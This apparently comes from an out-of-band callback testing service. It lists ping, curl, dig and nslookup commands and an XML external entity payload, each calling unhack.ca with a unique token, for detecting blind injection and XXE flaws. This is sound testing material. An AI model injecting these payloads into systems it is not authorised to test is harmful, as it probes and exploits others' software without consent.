$ ping -c1 -p 005c3d3a8e2f5e15e1d9d087b5b0a600 unhack.ca
 

$ curl http://unhack.ca/p/5c3d3a8e2f5e15e1d9d087b5b0a6
 

$ dig 5c3d3a8e2f5e15e1d9d087b5b0a6 @unhack.ca
 

$ dig 5c3d3a8e2f5e15e1d9d087b5b0a6.ns.unhack.ca
 

C:\> nslookup 5c3d3a8e2f5e15e1d9d087b5b0a6 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/5c3d3a8e2f5e15e1d9d087b5b0a6">]>
    <foo>&xxe;</foo>